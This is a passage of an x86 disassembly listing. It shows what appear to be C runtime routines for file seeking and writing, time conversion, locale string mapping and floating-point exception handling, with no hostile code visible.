XREF: sub_4222C2+F5j push eax call sub_4224ED pop ecx pop ecx mov [edi], eax jmp loc_422467 ; --------------------------------------------------------------------------- loc_42235F: ; CODE XREF: sub_4222C2+57j mov esi, [ebp+arg_C] test byte ptr [esi], 1 jz short loc_4223B9 mov ebx, [ebp+arg_0] push 1 push dword ptr [ebx+18h] call sub_424770 pop ecx pop ecx test eax, eax jz loc_422462 push 1 push edi call sub_42478C pop ecx pop ecx test eax, eax jz loc_422462 push dword ptr [esi+14h] push dword ptr [ebx+18h] push edi call sub_41CC90 add esp, 0Ch cmp dword ptr [esi+14h], 4 jnz loc_422467 mov eax, [edi] test eax, eax jz loc_422467 add esi, 8 push esi jmp short loc_422350 ; --------------------------------------------------------------------------- loc_4223B9: ; CODE XREF: sub_4222C2+A3j cmp dword ptr [esi+18h], 0 mov ebx, [ebp+arg_0] push 1 push dword ptr [ebx+18h] jnz short loc_422401 call sub_424770 pop ecx pop ecx test eax, eax jz loc_422462 push 1 push edi call sub_42478C pop ecx pop ecx test eax, eax jz short loc_422462 push dword ptr [esi+14h] add esi, 8 push esi push dword ptr [ebx+18h] call sub_4224ED pop ecx pop ecx push eax push edi call sub_41CC90 add esp, 0Ch jmp short loc_422467 ; --------------------------------------------------------------------------- loc_422401: ; CODE XREF: sub_4222C2+103j call sub_424770 pop ecx pop ecx test eax, eax jz short loc_422462 push 1 push edi call sub_42478C pop ecx pop ecx test eax, eax jz short loc_422462 push dword ptr [esi+18h] call sub_4247A8 pop ecx test eax, eax jz short loc_422462 test byte ptr [esi], 4 jz short loc_422448 push 1 lea eax, [esi+8] push eax push dword ptr [ebx+18h] call sub_4224ED pop ecx pop ecx push eax push dword ptr [esi+18h] push edi call sub_41C8C9 jmp short loc_422467 ; --------------------------------------------------------------------------- loc_422448: ; CODE XREF: sub_4222C2+168j lea eax, [esi+8] push eax push dword ptr [ebx+18h] call sub_4224ED pop ecx pop ecx push eax push dword ptr [esi+18h] push edi call sub_41C8C2 jmp short loc_422467 ; --------------------------------------------------------------------------- loc_422462: ; CODE XREF: sub_4222C2+6Aj ; sub_4222C2+7Cj ... call sub_4225B2 loc_422467: ; CODE XREF: sub_4222C2+98j ; sub_4222C2+E1j ... or [ebp+var_4], 0FFFFFFFFh loc_42246B: ; CODE XREF: sub_4222C2+2Ej ; sub_4222C2+38j ... mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn sub_4222C2 endp ; --------------------------------------------------------------------------- push 1 pop eax retn ; --------------------------------------------------------------------------- mov esp, [ebp-18h] jmp sub_42255C ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_422486 proc near ; CODE XREF: sub_421DB1+170p ; sub_422252+3Ep var_18 = dword ptr -18h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_427900 push offset sub_4234B8 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push ecx push ebx push esi push edi mov [ebp+var_18], esp mov eax, [ebp+arg_0] test eax, eax jz short loc_4224CD mov ecx, [eax+1Ch] mov ecx, [ecx+4] test ecx, ecx jz short loc_4224CD and [ebp+var_4], 0 push ecx push dword ptr [eax+18h] call sub_41C8C2 or [ebp+var_4], 0FFFFFFFFh loc_4224CD: ; CODE XREF: sub_422486+2Aj ; sub_422486+34j mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn sub_422486 endp ; --------------------------------------------------------------------------- xor eax, eax cmp [ebp+0Ch], al setnz al retn ; --------------------------------------------------------------------------- mov esp, [ebp-18h] jmp sub_42255C ; =============== S U B R O U T I N E ======================================= sub_4224ED proc near ; CODE XREF: sub_4222C2+8Fp ; sub_4222C2+12Cp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov ecx, [esp+arg_4] push esi mov esi, [esp+4+arg_0] mov eax, [ecx] mov edx, [ecx+4] add eax, esi test edx, edx jl short loc_42250E mov esi, [edx+esi] mov ecx, [ecx+8] mov ecx, [esi+ecx] add ecx, edx add eax, ecx loc_42250E: ; CODE XREF: sub_4224ED+12j pop esi retn sub_4224ED endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_422510 proc near ; CODE XREF: sub_41C955+40p ; sub_42205D+5Cp var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 4 push ebx push ecx mov eax, [ebp+arg_4] add eax, 0Ch mov [ebp+var_4], eax mov eax, [ebp+arg_0] push ebp push [ebp+arg_8] mov ecx, [ebp+arg_8] mov ebp, [ebp+var_4] call sub_41CC41 push esi push edi call eax pop edi pop esi mov ebx, ebp pop ebp mov ecx, [ebp+arg_8] push ebp mov ebp, ebx cmp ecx, 100h jnz short loc_42254F mov ecx, 2 loc_42254F: ; CODE XREF: sub_422510+38j push ecx call sub_41CC41 pop ebp pop ecx pop ebx leave retn 0Ch sub_422510 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42255C proc near ; CODE XREF: sub_421DB1:loc_421F53j ; sub_4220FB:loc_42210Cj ... var_18 = dword ptr -18h var_4 = dword ptr -4 ; FUNCTION CHUNK AT 004247C0 SIZE 00000017 BYTES push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_427910 push offset sub_4234B8 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push ecx push ebx push esi push edi mov [ebp+var_18], esp and [ebp+var_4], 0 mov eax, dword_4DB358 test eax, eax jz short loc_4225A4 mov [ebp+var_4], 1 call eax jmp short loc_4225A0 ; --------------------------------------------------------------------------- loc_422599: ; DATA XREF: ___:00427920o push 1 pop eax retn ; --------------------------------------------------------------------------- loc_42259D: ; DATA XREF: ___:00427924o mov esp, [ebp+var_18] loc_4225A0: ; CODE XREF: sub_42255C+3Bj and [ebp+var_4], 0 loc_4225A4: ; CODE XREF: sub_42255C+30j or [ebp+var_4], 0FFFFFFFFh call $+5 loc_4225AD: ; DATA XREF: ___:00427918o jmp loc_4247C0 sub_42255C endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4225B2 proc near ; CODE XREF: sub_41CAF7+23p ; sub_41CAF7:loc_41CB62p ... var_18 = dword ptr -18h var_4 = dword ptr -4 push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_427928 push offset sub_4234B8 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push ecx push ebx push esi push edi mov [ebp+var_18], esp and [ebp+var_4], 0 mov eax, off_43C8F4 test eax, eax jz short loc_4225FA mov [ebp+var_4], 1 call eax ; sub_42255C jmp short loc_4225F6 ; --------------------------------------------------------------------------- loc_4225EF: ; DATA XREF: ___:00427938o push 1 pop eax retn ; --------------------------------------------------------------------------- loc_4225F3: ; DATA XREF: ___:0042793Co mov esp, [ebp+var_18] loc_4225F6: ; CODE XREF: sub_4225B2+3Bj and [ebp+var_4], 0 loc_4225FA: ; CODE XREF: sub_4225B2+30j or [ebp+var_4], 0FFFFFFFFh call $+5 loc_422603: ; DATA XREF: ___:00427930o jmp sub_42255C sub_4225B2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_422608 proc near ; CODE XREF: sub_41CFD3+7p ; sub_41CFD3+26p var_8 = byte ptr -8 var_4 = byte ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ecx mov eax, dword_4DC948 push esi cmp eax, 3 jnz short loc_422631 mov esi, [ebp+arg_0] push esi call sub_41DE77 test eax, eax pop ecx jz short loc_42262E mov eax, [esi-4] sub eax, 9 jmp short loc_422666 ; --------------------------------------------------------------------------- loc_42262E: ; CODE XREF: sub_422608+1Cj push esi jmp short loc_422658 ; --------------------------------------------------------------------------- loc_422631: ; CODE XREF: sub_422608+Ej cmp eax, 2 jnz short loc_422655 lea eax, [ebp+var_4] push eax lea eax, [ebp+var_8] push eax push [ebp+arg_0] call sub_41EBD2 add esp, 0Ch test eax, eax jz short loc_422655 movzx eax, byte ptr [eax] shl eax, 4 jmp short loc_422666 ; --------------------------------------------------------------------------- loc_422655: ; CODE XREF: sub_422608+2Cj ; sub_422608+43j push [ebp+arg_0] loc_422658: ; CODE XREF: sub_422608+27j push 0 push dword_4DC944 nop call near ptr 2660000h loc_422666: ; CODE XREF: sub_422608+24j ; sub_422608+4Bj pop esi leave retn sub_422608 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_422669 proc near ; CODE XREF: sub_41D081+C9p var_24 = byte ptr -24h var_1C = dword ptr -1Ch var_14 = dword ptr -14h var_10 = dword ptr -10h var_8 = dword ptr -8 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h push ebp mov ebp, esp sub esp, 24h push ebx mov ebx, [ebp+arg_0] sub ebx, 76Ch cmp ebx, 46h jl loc_422725 cmp ebx, 8Ah jg loc_422725 push esi push edi mov edi, [ebp+arg_4] mov esi, dword_43CDBC[edi*4] add esi, [ebp+arg_8] test bl, 3 jnz short loc_4226A8 cmp edi, 2 jle short loc_4226A8 inc esi loc_4226A8: ; CODE XREF: sub_422669+37j ; sub_422669+3Cj call sub_4247D7 mov eax, ebx lea ecx, [ebx-1] imul eax, 16Dh sar ecx, 2 mov edx, esi mov [ebp+var_8], esi add edx, ecx mov [ebp+var_10], ebx add eax, edx mov edx, [ebp+arg_14] lea ecx, [eax+eax*2] mov eax, [ebp+arg_C] mov [ebp+var_1C], eax lea ecx, [eax+ecx*8] imul ecx, 3Ch add ecx, [ebp+arg_10] imul ecx, 3Ch add ecx, dword_43CCD8 dec edi cmp [ebp+arg_18], 1 mov [ebp+var_14], edi pop edi pop esi lea ecx, [ecx+edx+7C558180h] mov [ebp+arg_0], ecx jz short loc_42271B cmp [ebp+arg_18], 0FFFFFFFFh jnz short loc_422721 cmp dword_43CCDC, 0 jz short loc_422721 lea eax, [ebp+var_24] push eax call sub_424A4A pop ecx mov ecx, [ebp+arg_0] test eax, eax jz short loc_422721 loc_42271B: ; CODE XREF: sub_422669+90j add ecx, dword_43CCE0 loc_422721: ; CODE XREF: sub_422669+96j ; sub_422669+9Fj ... mov eax, ecx jmp short loc_422728 ; --------------------------------------------------------------------------- loc_422725: ; CODE XREF: sub_422669+13j ; sub_422669+1Fj or eax, 0FFFFFFFFh loc_422728: ; CODE XREF: sub_422669+BAj pop ebx leave retn sub_422669 endp ; =============== S U B R O U T I N E ======================================= sub_42272B proc near ; CODE XREF: ___:0041D253p ; sub_41F11C+1A2p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov eax, [esp+arg_0] push ebx cmp eax, dword_4DC700 push esi push edi jnb short loc_4227AD mov ecx, eax mov esi, eax sar ecx, 5 and esi, 1Fh lea edi, ds:4DC600h[ecx*4] shl esi, 3 mov ecx, [edi] test byte ptr [ecx+esi+4], 1 jz short loc_4227AD push eax call sub_4238A2 cmp eax, 0FFFFFFFFh pop ecx jnz short loc_42276F mov dword_4DB2A8, 9 jmp short loc_4227BE ; --------------------------------------------------------------------------- loc_42276F: ; CODE XREF: sub_42272B+36j push [esp+0Ch+arg_8] push 0 push [esp+14h+arg_4] push eax call near ptr 2790000h nop mov ebx, eax cmp ebx, 0FFFFFFFFh jnz short loc_42278F nop call near ptr 26807C8h jmp short loc_422791 ; --------------------------------------------------------------------------- loc_42278F: ; CODE XREF: sub_42272B+5Aj xor eax, eax loc_422791: ; CODE XREF: sub_42272B+62j test eax, eax jz short loc_42279E push eax call sub_4203DF pop ecx jmp short loc_4227BE ; --------------------------------------------------------------------------- loc_42279E: ; CODE XREF: sub_42272B+68j mov eax, [edi] and byte ptr [eax+esi+4], 0FDh lea eax, [eax+esi+4] mov eax, ebx jmp short loc_4227C1 ; --------------------------------------------------------------------------- loc_4227AD: ; CODE XREF: sub_42272B+Dj ; sub_42272B+2Aj and dword_4DB2AC, 0 mov dword_4DB2A8, 9 loc_4227BE: ; CODE XREF: sub_42272B+42j ; sub_42272B+71j or eax, 0FFFFFFFFh loc_4227C1: ; CODE XREF: sub_42272B+80j pop edi pop esi pop ebx retn sub_42272B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4227C5 proc near ; CODE XREF: ___:0041D216p var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0Ch push ebx push esi push edi mov edi, [ebp+arg_0] xor ebx, ebx mov esi, [edi+10h] cmp [edi+4], ebx mov [ebp+var_C], esi jge short loc_4227E1 mov [edi+4], ebx loc_4227E1: ; CODE XREF: sub_4227C5+17j push 1 push ebx push esi call sub_42272B add esp, 0Ch cmp eax, ebx mov [ebp+var_4], eax jl short loc_42284F mov edx, [edi+0Ch] test dx, 108h jnz short loc_422806 sub eax, [edi+4] jmp loc_422918 ; --------------------------------------------------------------------------- loc_422806: ; CODE XREF: sub_4227C5+37j mov eax, [edi] mov ecx, [edi+8] mov ebx, eax sub ebx, ecx test dl, 3 mov [ebp+var_8], ebx jz short loc_422840 mov edx, esi mov ebx, esi sar edx, 5 and ebx, 1Fh mov edx, dword_4DC600[edx*4] test byte ptr [edx+ebx*8+4], 80h jz short loc_422857 mov edx, ecx loc_422831: ; CODE XREF: sub_4227C5+79j cmp edx, eax jnb short loc_422857 cmp byte ptr [edx], 0Ah jnz short loc_42283D inc [ebp+var_8] loc_42283D: ; CODE XREF: sub_4227C5+73j inc edx jmp short loc_422831 ; --------------------------------------------------------------------------- loc_422840: ; CODE XREF: sub_4227C5+50j test dl, 80h jnz short loc_422857 mov dword_4DB2A8, 16h loc_42284F: ; CODE XREF: sub_4227C5+2Dj or eax, 0FFFFFFFFh jmp loc_422918 ; --------------------------------------------------------------------------- loc_422857: ; CODE XREF: sub_4227C5+68j ; sub_4227C5+6Ej ... cmp [ebp+var_4], 0 jnz short loc_422865 mov eax, [ebp+var_8] jmp loc_422918 ; --------------------------------------------------------------------------- loc_422865: ; CODE XREF: sub_4227C5+96j test byte ptr [edi+0Ch], 1 jz loc_422910 mov edx, [edi+4] test edx, edx jnz short loc_42287E and [ebp+var_8], edx jmp loc_422910 ; --------------------------------------------------------------------------- loc_42287E: ; CODE XREF: sub_4227C5+AFj sub eax, ecx add eax, edx mov [ebp+arg_0], eax mov eax, esi sar eax, 5 and esi, 1Fh lea ebx, ds:4DC600h[eax*4] shl esi, 3 mov eax, [ebx] test byte ptr [esi+eax+4], 80h jz short loc_42290A push 2 push 0 push [ebp+var_C] call sub_42272B add esp, 0Ch cmp eax, [ebp+var_4] jnz short loc_4228D1 mov eax, [edi+8] mov ecx, [ebp+arg_0] add ecx, eax loc_4228BC: ; CODE XREF: sub_4227C5+104j cmp eax, ecx jnb short loc_4228CB cmp byte ptr [eax], 0Ah jnz short loc_4228C8 inc [ebp+arg_0] loc_4228C8: ; CODE XREF: sub_4227C5+FEj inc eax jmp short loc_4228BC ; --------------------------------------------------------------------------- loc_4228CB: ; CODE XREF: sub_4227C5+F9j test byte ptr [edi+0Dh], 20h jmp short loc_422905 ; --------------------------------------------------------------------------- loc_4228D1: ; CODE XREF: sub_4227C5+EDj push 0 push [ebp+var_4] push [ebp+var_C] call sub_42272B mov eax, 200h add esp, 0Ch cmp [ebp+arg_0], eax ja short loc_4228F8 mov ecx, [edi+0Ch] test cl, 8 jz short loc_4228F8 test ch, 4 jz short loc_4228FB loc_4228F8: ; CODE XREF: sub_4227C5+124j ; sub_4227C5+12Cj mov eax, [edi+18h] loc_4228FB: ; CODE XREF: sub_4227C5+131j mov [ebp+arg_0], eax mov eax, [ebx] test byte ptr [esi+eax+4], 4 loc_422905: ; CODE XREF: sub_4227C5+10Aj jz short loc_42290A inc [ebp+arg_0] loc_42290A: ; CODE XREF: sub_4227C5+D9j ; sub_4227C5:loc_422905j mov eax, [ebp+arg_0] sub [ebp+var_4], eax loc_422910: ; CODE XREF: sub_4227C5+A4j ; sub_4227C5+B4j mov eax, [ebp+var_8] mov ecx, [ebp+var_4] add eax, ecx loc_422918: ; CODE XREF: sub_4227C5+3Cj ; sub_4227C5+8Dj ... pop edi pop esi pop ebx leave retn sub_4227C5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42291D proc near ; CODE XREF: sub_41D2B4+A2p ; sub_41DB8B+2Cp ... var_414 = byte ptr -414h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 414h mov ecx, [ebp+arg_0] push ebx cmp ecx, dword_4DC700 push esi push edi jnb loc_422AB1 mov eax, ecx mov esi, ecx sar eax, 5 and esi, 1Fh lea ebx, ds:4DC600h[eax*4] shl esi, 3 mov eax, [ebx] mov al, [eax+esi+4] test al, 1 jz loc_422AB1 xor edi, edi cmp [ebp+arg_8], edi mov [ebp+var_8], edi mov [ebp+var_10], edi jnz short loc_42296E loc_422967: ; CODE XREF: sub_42291D+177j xor eax, eax jmp loc_422AC5 ; --------------------------------------------------------------------------- loc_42296E: ; CODE XREF: sub_42291D+48j test al, 20h jz short loc_42297E push 2 push edi push ecx call sub_42272B add esp, 0Ch loc_42297E: ; CODE XREF: sub_42291D+53j mov eax, [ebx] add eax, esi test byte ptr [eax+4], 80h jz loc_422A4D mov eax, [ebp+arg_4] cmp [ebp+arg_8], edi mov [ebp+var_4], eax mov [ebp+arg_0], edi jbe loc_422A85 loc_42299E: ; CODE XREF: sub_42291D+F5j lea eax, [ebp+var_414] loc_4229A4: ; CODE XREF: sub_42291D+B9j mov ecx, [ebp+var_4] sub ecx, [ebp+arg_4] cmp ecx, [ebp+arg_8] jnb short loc_4229D8 mov ecx, [ebp+var_4] inc [ebp+var_4] mov cl, [ecx] cmp cl, 0Ah jnz short loc_4229C3 inc [ebp+var_10] mov byte ptr [eax], 0Dh inc eax loc_4229C3: ; CODE XREF: sub_42291D+9Dj mov [eax], cl inc eax mov ecx, eax lea edx, [ebp+var_414] sub ecx, edx cmp ecx, 400h jl short loc_4229A4 loc_4229D8: ; CODE XREF: sub_42291D+90j mov edi, eax lea eax, [ebp+var_414] sub edi, eax lea eax, [ebp+var_C] push 0 push eax lea eax, [ebp+var_414] push edi push eax mov eax, [ebx] push dword ptr [eax+esi] nop call near ptr 2700000h test eax, eax jz short loc_422A42 mov eax, [ebp+var_C] add [ebp+var_8], eax cmp eax, edi jl short loc_422A14 mov eax, [ebp+var_4] sub eax, [ebp+arg_4] cmp eax, [ebp+arg_8] jb short loc_42299E loc_422A14: ; CODE XREF: sub_42291D+EAj ; sub_42291D+12Ej xor edi, edi loc_422A16: ; CODE XREF: sub_42291D+150j ; sub_42291D+15Bj mov eax, [ebp+var_8] cmp eax, edi jnz loc_422AAC cmp [ebp+arg_0], edi jz short loc_422A85 push 5 pop eax cmp [ebp+arg_0], eax jnz short loc_422A7A mov dword_4DB2A8, 9 mov dword_4DB2AC, eax jmp loc_422AC2 ; --------------------------------------------------------------------------- loc_422A42: ; CODE XREF: sub_42291D+E0j nop call near ptr 26807C8h mov [ebp+arg_0], eax jmp short loc_422A14 ; --------------------------------------------------------------------------- loc_422A4D: ; CODE XREF: sub_42291D+69j lea ecx, [ebp+var_C] push edi push ecx push [ebp+arg_8] push [ebp+arg_4] push dword ptr [eax] call near ptr 2700000h nop test eax, eax jz short loc_422A6F mov eax, [ebp+var_C] mov [ebp+arg_0], edi mov [ebp+var_8], eax jmp short loc_422A16 ; --------------------------------------------------------------------------- loc_422A6F: ; CODE XREF: sub_42291D+145j call near ptr 26807C8h nop mov [ebp+arg_0], eax jmp short loc_422A16 ; --------------------------------------------------------------------------- loc_422A7A: ; CODE XREF: sub_42291D+10Fj push [ebp+arg_0] call sub_4203DF pop ecx jmp short loc_422AC2 ; --------------------------------------------------------------------------- loc_422A85: ; CODE XREF: sub_42291D+7Bj ; sub_42291D+107j mov eax, [ebx] test byte ptr [eax+esi+4], 40h jz short loc_422A9A mov eax, [ebp+arg_4] cmp byte ptr [eax], 1Ah jz loc_422967 loc_422A9A: ; CODE XREF: sub_42291D+16Fj mov dword_4DB2A8, 1Ch mov dword_4DB2AC, edi jmp short loc_422AC2 ; --------------------------------------------------------------------------- loc_422AAC: ; CODE XREF: sub_42291D+FEj sub eax, [ebp+var_10] jmp short loc_422AC5 ; --------------------------------------------------------------------------- loc_422AB1: ; CODE XREF: sub_42291D+15j ; sub_42291D+37j and dword_4DB2AC, 0 mov dword_4DB2A8, 9 loc_422AC2: ; CODE XREF: sub_42291D+120j ; sub_42291D+166j ... or eax, 0FFFFFFFFh loc_422AC5: ; CODE XREF: sub_42291D+4Cj ; sub_42291D+192j pop edi pop esi pop ebx leave retn sub_42291D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_422ACA proc near ; CODE XREF: sub_41D5AA+47p ; sub_41D5AA+74p ... var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_427948 push offset sub_4234B8 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 1Ch push ebx push esi push edi mov [ebp+var_18], esp xor edi, edi cmp dword_4DB37C, edi jnz short loc_422B40 push edi push edi push 1 pop ebx push ebx push offset dword_427940 mov esi, 100h push esi push edi nop call near ptr 2640000h test eax, eax jz short loc_422B1E mov dword_4DB37C, ebx jmp short loc_422B40 ; --------------------------------------------------------------------------- loc_422B1E: ; CODE XREF: sub_422ACA+4Aj push edi push edi push ebx push offset dword_4CAE5C push esi push edi nop call near ptr 2650000h test eax, eax jz loc_422C58 mov dword_4DB37C, 2 loc_422B40: ; CODE XREF: sub_422ACA+2Ej ; sub_422ACA+52j cmp [ebp+arg_C], edi jle short loc_422B55 push [ebp+arg_C] push [ebp+arg_8] call sub_426180 pop ecx pop ecx mov [ebp+arg_C], eax loc_422B55: ; CODE XREF: sub_422ACA+79j mov eax, dword_4DB37C cmp eax, 2 jnz short loc_422B7C push [ebp+arg_14] push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] nop call near ptr 2650000h jmp loc_422C5A ; --------------------------------------------------------------------------- loc_422B7C: ; CODE XREF: sub_422ACA+93j cmp eax, 1 jnz loc_422C58 cmp [ebp+arg_18], edi jnz short loc_422B92 mov eax, dword_4DB374 mov [ebp+arg_18], eax loc_422B92: ; CODE XREF: sub_422ACA+BEj push edi push edi push [ebp+arg_C] push [ebp+arg_8] mov eax, [ebp+arg_1C] neg eax sbb eax, eax and eax, 8 inc eax push eax push [ebp+arg_18] call near ptr 2840000h nop mov ebx, eax mov [ebp+var_1C], ebx cmp ebx, edi jz loc_422C58 mov [ebp+var_4], edi lea eax, [ebx+ebx] add eax, 3 and al, 0FCh call sub_41BB20 mov [ebp+var_18], esp mov eax, esp mov [ebp+var_24], eax or [ebp+var_4], 0FFFFFFFFh jmp short loc_422BED ; --------------------------------------------------------------------------- push 1 pop eax retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] xor edi, edi mov [ebp+var_24], edi or [ebp+var_4], 0FFFFFFFFh mov ebx, [ebp+var_1C] loc_422BED: ; CODE XREF: sub_422ACA+10Ej cmp [ebp+var_24], edi jz short loc_422C58 push ebx push [ebp+var_24] push [ebp+arg_C] push [ebp+arg_8] push 1 push [ebp+arg_18] call near ptr 2840000h nop test eax, eax jz short loc_422C58 push edi push edi push ebx push [ebp+var_24] push [ebp+arg_4] push [ebp+arg_0] nop call near ptr 2640000h mov esi, eax mov [ebp+var_28], esi cmp esi, edi jz short loc_422C58 test byte ptr [ebp+arg_4+1], 4 jz short loc_422C6C cmp [ebp+arg_14], edi jz loc_422CE7 cmp esi, [ebp+arg_14] jg short loc_422C58 push [ebp+arg_14] push [ebp+arg_10] push ebx push [ebp+var_24] push [ebp+arg_4] push [ebp+arg_0] nop call near ptr 2640000h test eax, eax jnz loc_422CE7 loc_422C58: ; CODE XREF: sub_422ACA+66j ; sub_422ACA+B5j ... xor eax, eax loc_422C5A: ; CODE XREF: sub_422ACA+ADj ; sub_422ACA+21Fj lea esp, [ebp-38h] mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_422C6C: ; CODE XREF: sub_422ACA+160j mov [ebp+var_4], 1 lea eax, [esi+esi] add eax, 3 and al, 0FCh call sub_41BB20 mov [ebp+var_18], esp mov ebx, esp mov [ebp+var_20], ebx or [ebp+var_4], 0FFFFFFFFh jmp short loc_422CA0 ; --------------------------------------------------------------------------- push 1 pop eax retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] xor edi, edi xor ebx, ebx or [ebp+var_4], 0FFFFFFFFh mov esi, [ebp+var_28] loc_422CA0: ; CODE XREF: sub_422ACA+1C2j cmp ebx, edi jz short loc_422C58 push esi push ebx push [ebp+var_1C] push [ebp+var_24] push [ebp+arg_4] push [ebp+arg_0] nop call near ptr 2640000h test eax, eax jz short loc_422C58 cmp [ebp+arg_14], edi push edi push edi jnz short loc_422CC7 push edi push edi jmp short loc_422CCD ; --------------------------------------------------------------------------- loc_422CC7: ; CODE XREF: sub_422ACA+1F7j push [ebp+arg_14] push [ebp+arg_10] loc_422CCD: ; CODE XREF: sub_422ACA+1FBj push esi push ebx push 220h push [ebp+arg_18] call near ptr 2831279h nop mov esi, eax cmp esi, edi jz loc_422C58 loc_422CE7: ; CODE XREF: sub_422ACA+165j ; sub_422ACA+188j mov eax, esi jmp loc_422C5A sub_422ACA endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp push ebx push dword ptr [ebp+8] call sub_422E2F test eax, eax pop ecx jz loc_422E23 mov ebx, [eax+8] test ebx, ebx jz loc_422E23 cmp ebx, 5 jnz short loc_422D1F and dword ptr [eax+8], 0 push 1 pop eax jmp loc_422E2C ; --------------------------------------------------------------------------- loc_422D1F: ; CODE XREF: ___:00422D11j cmp ebx, 1 jz loc_422E1E mov ecx, dword_4DB380 mov [ebp+8], ecx mov ecx, [ebp+0Ch] mov dword_4DB380, ecx mov ecx, [eax+4] cmp ecx, 8 jnz loc_422E0E mov ecx, dword_43C970 mov edx, dword_43C974 add edx, ecx push esi cmp ecx, edx jge short loc_422D6E lea esi, [ecx+ecx*2] sub edx, ecx lea esi, ds:43C900h[esi*4] loc_422D65: ; CODE XREF: ___:00422D6Cj and dword ptr [esi], 0 add esi, 0Ch dec edx jnz short loc_422D65 loc_422D6E: ; CODE XREF: ___:00422D57j mov eax, [eax] mov esi, dword_43C97C cmp eax, 0C000008Eh jnz short loc_422D89 mov dword_43C97C, 83h jmp short loc_422DF9 ; --------------------------------------------------------------------------- loc_422D89: ; CODE XREF: ___:00422D7Bj cmp eax, 0C0000090h jnz short loc_422D9C mov dword_43C97C, 81h jmp short loc_422DF9 ; --------------------------------------------------------------------------- loc_422D9C: ; CODE XREF: ___:00422D8Ej cmp eax, 0C0000091h jnz short loc_422DAF mov dword_43C97C, 84h jmp short loc_422DF9 ; --------------------------------------------------------------------------- loc_422DAF: ; CODE XREF: ___:00422DA1j cmp eax, 0C0000093h jnz short loc_422DC2 mov dword_43C97C, 85h jmp short loc_422DF9 ; --------------------------------------------------------------------------- loc_422DC2: ; CODE XREF: ___:00422DB4j cmp eax, 0C000008Dh jnz short loc_422DD5 mov dword_43C97C, 82h jmp short loc_422DF9 ; --------------------------------------------------------------------------- loc_422DD5: ; CODE XREF: ___:00422DC7j cmp eax, 0C000008Fh jnz short loc_422DE8 mov dword_43C97C, 86h jmp short loc_422DF9 ; --------------------------------------------------------------------------- loc_422DE8: ; CODE XREF: ___:00422DDAj cmp eax, 0C0000092h jnz short loc_422DF9 mov dword_43C97C, 8Ah loc_422DF9: ; CODE XREF: ___:00422D87j ; ___:00422D9Aj ... push dword_43C97C push 8 call ebx pop ecx mov dword_43C97C, esi pop ecx pop esi jmp short loc_422E16 ; --------------------------------------------------------------------------- loc_422E0E: ; CODE XREF: ___:00422D40j and dword ptr [eax+8], 0 push ecx call ebx pop ecx loc_422E16: ; CODE XREF: ___:00422E0Cj mov eax, [ebp+8] mov dword_4DB380, eax loc_422E1E: ; CODE XREF: ___:00422D22j or eax, 0FFFFFFFFh jmp short loc_422E2C ; --------------------------------------------------------------------------- loc_422E23: ; CODE XREF: ___:00422CFDj ; ___:00422D08j push dword ptr [ebp+0Ch] call near ptr 26306ADh nop loc_422E2C: ; CODE XREF: ___:00422D1Aj ; ___:00422E21j pop ebx pop ebp retn ; =============== S U B R O U T I N E ======================================= sub_422E2F proc near ; CODE XREF: ___:00422CF5p arg_0 = dword ptr 4 mov edx, [esp+arg_0] mov ecx, dword_43C978 cmp dword_43C8F8, edx push esi mov eax, offset dword_43C8F8 jz short loc_422E5C lea esi, [ecx+ecx*2] lea esi, ds:43C8F8h[esi*4] loc_422E51: ; CODE XREF: sub_422E2F+2Bj add eax, 0Ch cmp eax, esi jnb short loc_422E5C cmp [eax], edx jnz short loc_422E51 loc_422E5C: ; CODE XREF: sub_422E2F+16j ; sub_422E2F+27j lea ecx, [ecx+ecx*2] pop esi lea ecx, ds:43C8F8h[ecx*4] cmp eax, 